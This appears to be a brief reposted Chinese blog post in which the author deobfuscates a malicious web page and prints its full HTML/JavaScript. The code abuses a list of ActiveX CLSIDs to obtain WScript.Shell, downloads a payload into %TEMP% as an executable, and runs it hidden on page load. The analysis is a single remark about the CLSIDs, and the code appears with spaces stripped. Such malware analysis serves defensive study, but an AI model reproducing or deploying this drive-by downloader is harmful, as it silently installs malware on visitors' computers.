分析过程：网上的反混淆工具好像没啥用，还不如用word替换。。下面组合后的代码：
<html><head><title></title><scriptlanguage="javascript">functionNRSXOgqiSBkz(o,n){varr=null;try{eval("r=o.CreateObject(n)")}catch(e){}if(!r){try{eval("r=o.CreateObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.CreateObject(n,'','')")}catch(e){}}if(!r){try{eval("r=o.GetObject('',n)")}catch(e){}}if(!r){try{eval("r=o.GetObject(n,'')")}catch(e){}}if(!r){try{eval("r=o.GetObject(n)")}catch(e){}}return(r);}functionmDRvliWrqLDDqKN(a){vars=NRSXOgqiSBkz(a,"WScript.Shell");varo=NRSXOgqiSBkz(a,"ADODB.Stream");vare=s.Environment("Process");varurl=document.location+'/payload';varxml=null;varbin=e.Item("TEMP")+"\\WHMXshtOvjxNXnNeqP.exe";vardat;try{xml=newXMLHttpRequest();}catch(e){try{xml=newActiveXObject("Microsoft.XMLHTTP");}catch(e){xml=newActiveXObject("MSXML2.ServerXMLHTTP");}}if(!xml{return(0);}xml.open("GET",url,false);xml.send(null);dat=xml.responseBody;o.Type=1;o.Mode=3;o.Open();o.Write(dat);o.SaveToFile(bin,2);s.Run(bin,0);}functionyZONecnpRPtZcQOMwJeBmb(){vari=0;vart=newArray('{BD96C556-65A3-11D0-983A-00C04FC29E36}','{BD96C556-65A3-11D0-983A-00C04FC29E30}','{7F5B7F63-F06F-4331-8A26-339E03C0AE3D}','{6e32070a-766d-4ee6-879c-dc1fa91d2fc3}','{6414512B-B978-451D-A0D8-FCFDF33E833C}','{06723E09-F4C2-43c8-8358-09FCD1DB0766}','{639F725F-1B2D-4831-A9FD-874847682010}','{BA018599-1DB3-44f9-83B4-461454C84BF8}','{D0C07D56-7C69-43F1-B4A0-25F5A11FAB19}','{E8CCCDDF-CA28-496b-B050-6C07C962476B}','{AB9BCEDD-EC7E-47E1-9322-D4A210617116}','{0006F033-0000-0000-C000-000000000046}','{0006F03A-0000-0000-C000-000000000046}',null);while(t[i]){vara=null;if(t[i].substring(0,1)=='{'){a=document.createElement("object");a.setAttribute("classid","clsid:"+t[i].substring(1,t[i].length-1));}else{try{a=newActiveXObject(t[i]);}catch(e){}}if(a){try{varb=NRSXOgqiSBkz(a,"WScript.Shell");if(b){mDRvliWrqLDDqKN(a);return(0);}}catch(e){}}i++;}}</script></head><bodyonload='yZONecnpRPtZcQOMwJeBmb()'>ywzGRI</body></html> 一系列数字部分显然有点熟悉，这有可能是用来进行漏洞攻击构造的数据，可以通过其查找可能的攻击类型，BD96C556，貌似是一个用的很多的网马数据。
原文链接：https://www.cnblogs.com/chl233/p/12927514.html
原创文章，作者：优速盾-小U，如若转载，请注明出处：https://www.cdnb.net/bbs/archives/18410
